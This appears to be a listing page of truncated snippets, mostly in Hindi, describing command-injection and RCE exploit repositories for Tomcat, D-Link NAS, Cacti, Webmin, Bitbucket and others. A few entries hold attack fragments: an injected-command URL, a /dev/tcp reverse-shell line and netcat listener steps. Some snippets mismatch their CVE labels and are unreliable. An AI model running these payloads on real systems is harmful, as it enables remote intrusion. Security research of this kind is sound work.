CVE-2019-0232

CVE-2019-0232 Apache Tomcat CGIServlet enableCmdLineArguments RCE रिमोट कोड निष्पादन क्वेरी स्ट्रिंग तर्कों के माध्यम से Windows बैच स्क्रिप्ट इंजेक्शन विवरण CGI सर्वलेट सक्षम और enableCmdLineArguments=true के साथ Apache Tomcat, क्वेरी स्ट्रिंग पैरामीटरों को CGI स्क्रिप्ट्स में कमांड-लाइन तर्कों ...

CVE-2024-10914-Exploit

CVE-2024-10914-Exploit CVE-2024-10914 एक गंभीर भेद्यता है जो D-Link DNS-320, DNS-320LW, DNS-325 और DNS-340L को संस्करण 20241028 तक प्रभावित करती है। फ़ाइल /cgi-bin/accountmgr.cgi?cmd=cgiuseradd में cgiuseradd फ़ंक्शन इसका कारण है, जो हमलावरों को दूरस्थ रूप से ऑपरेटिंग सिस्टम कमांड इंजेक्ट करने की...

CVE-2022-23935

CVE-2022-23935 Exiftool सॉफ्टवेयर प्रोग्राम, 12.38 से पहले के संस्करणों में, एक सुरक्षा कमजोरी है जिसका शोषण विशेष रूप से तैयार की गई फ़ाइल नाम के माध्यम से किया जा सकता है। यह कमजोरी कमांड इंजेक्शन की अनुमति देती है, जहाँ एक हमलावर फ़ाइल नाम के अंत में एक पाइप वर्ण '|' जोड़कर सिस्टम पर मनमाने...

Vulnerability-Research

🛡️ भेद्यता अनुसंधान यहाँ, मैं उन भेद्यताओं की सूची बनाता हूँ जो मैंने खोजी हैं, संबंधित राइट-अप जिनमें कमजोरियों का विवरण है, तथा उनके प्रभाव और निवारण के बारे में अंतर्दृष्टि शामिल हैं। 🏆 निर्धारित CVE CVE ID| भेद्यता शीर्षक| गंभीरता/CVSS| प्रकाशित| राइट-अप ---|---|---|---|--- N.A.| Microsoft...

CVE-2026-4480-POC

CVE-2026-4480 - Samba प्रिंटिंग सबसिस्टम रिमोट कोड एक्ज़ीक्यूशन अवलोकन CVE-2026-4480 से संबंधित प्रूफ-ऑफ-कॉन्सेप्ट और शोध सामग्री, जो Samba प्रिंटिंग सबसिस्टम को प्रभावित करने वाली एक गंभीर रिमोट कोड एक्ज़ीक्यूशन RCE भेद्यता है। यह भेद्यता %J प्रतिस्थापन पैरामीटर के माध्यम से कॉन्फ़िगर किए गए pri...

CVE-2020-14883

http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...

CVE-2024-56115

CVE-2024-56115 सुझाया गया विवरण Amiro.CMS के 7.8.4 से पहले के संस्करणों में एक कमजोरी मौजूद है जो विशेष तत्वों को निष्क्रिय करने के उपायों को लागू करने में विफलता के कारण उत्पन्न होती है। यह दूरस्थ हमलावरों को क्रॉस-साइट स्क्रिप्टिंग XSS हमला करने की अनुमति देती है। कमजोरी का प्रकार CWE-78 | OS...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OS कमांड इंजेक्शन PoC English version सारांश यह रिपॉजिटरी Composer के Perforce VCS ड्राइवर में मौजूद एक गंभीर OS कमांड इंजेक्शन भेद्यता CVE-2026-40176 का Proof of Concept PoC है। यह भेद्यता Composer 2.2.27 और 2.9.6 से पहले के संस्करणों को प्रभावित करती है। भेद्यत...

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection

CVE-2026-2256-खतरा-मॉडल----ms-agent-Command-Injection...

watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604

watchTowr-vs-Dell-UnityVSA-CVE-2025-36604 Dell UnityVSA CVE-2025-36604 के लिए डिटेक्शन आर्टिफैक्ट जनरेटर https://github.com/user-attachments/assets/28488a97-7845-4b78-9fe7-64b9172ab023 तकनीकी विवरण के लिए हमारा ब्लॉग पोस्ट देखें कार्रवाई में पता लगाना python...

Atlassian-Bitbucket-CVE-2022-36804

Atlassian-Bitbucket-Server-CVE-2022-36804 Atlassian Bitbucket Server और Data center के कई API एंडपॉइंट्स में एक गंभीर कमांड इंजेक्शन कमजोरी पाई गई है। यह कमजोरी Bitbucket Server और Data Center के उन सभी संस्करणों को प्रभावित करती है जो & /dev/tcp/172.17.0.2/4444 0&1" netcat listener प्रारंभ करें:...

K000163537: Vim vulnerability CVE-2026-73073

Security Advisory Description Vim is an open source, command line text editor. Prior to 9.2.0845, StructMembers in runtime/autoload/ccomplete.vim constructs and executes a vimgrep command using an insufficiently escaped typeref: or typename: value from a tags file, allowing an unterminated...

Termix-research

Termix Security Research Termix पर भेद्यता अनुसंधान, एक वेब-आधारित SSH और सर्वर प्रबंधन मंच 13k+ स्टार। CVE| समस्या| गंभीरता| फिक्स| सुरक्षा सलाह ---|---|---|---|--- CVE-2026-45746| सत्र अपहरण → RCE| 9.0 गंभीर| v2.3.2| GHSA-cx2r-843c-vww8 CVE-2026-45750| OS कमांड इंजेक्शन| 9.0 गंभीर| v2.3.2|...

CVE-2022-31499

CVE-2022-31499 शोषण शीर्षक: Nortek Linear eMerge E3-Series - अंध OS कमांड इंजेक्शन...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

Cacti <=1.2.22 - Remote Command Injection

Cacti through 1.2.22 is susceptible to remote command injection. There is insufficient authorization within the remote agent when handling HTTP requests with a custom Forwarded-For HTTP header. An attacker can send a specially crafted HTTP request to the affected instance and execute arbitrary OS...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Webmin =1.920 में एक समस्या पाई गई। passwordchange.cgi में "old" और "expire" पैरामीटर में कमांड इंजेक्शन कमजोरी है। उपयोग 1. लाल बॉक्स पर एक लिसनर शुरू करें। rlwrap -cAr nc -lvp 1919 2. एक्सप्लॉइट चलाएँ ./exploit.sh 3. तर्क मांगे जाएंग...

CVE-2022-46169_poc

CVE-2022-46169 अप्रमाणित दूरस्थ कोड निष्पादन विवरण प्रमाणीकरण बाईपास: Cacti के अधिकांश इंस्टॉलेशन के लिए होस्टनाम-आधारित प्राधिकरण जांच सुरक्षित रूप से लागू नहीं की गई है कमांड इंजेक्शन: अप्रमाणित उपयोगकर्ता इनपुट को बाहरी कमांड निष्पादित करने के लिए उपयोग किए जाने वाले स्ट्रिंग में प्रसारित किया...

glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router

GL.iNet Beryl AX ट्रिपल RCE PoC GL.iNet GL-MT3000 Beryl AX ट्रैवल राउटर फर्मवेयर = 4.4.5 में तीन बिना प्रमाणीकरण वाली कमांड इंजेक्शन भेद्यताओं CVE-2026-11450, CVE-2026-11451, CVE-2026-11452 के लिए PoC। पूर्ण विवरण:...

CVE-2026-46368-OpenWrt-Exploit

OpenWrt luci-app-https-dns-proxy प्रमाणित कमांड इंजेक्शन CVE-2026-46368 इस रिपॉजिटरी में luci-app-https-dns-proxy में एक गंभीर OS कमांड इंजेक्शन भेद्यता के लिए प्रूफ ऑफ कॉन्सेप्ट PoC एक्सप्लॉइट शामिल है, जिसके परिणामस्वरूप रूट के रूप में मनमाना कमांड निष्पादन होता है। CVE ID: CVE-2026-46368...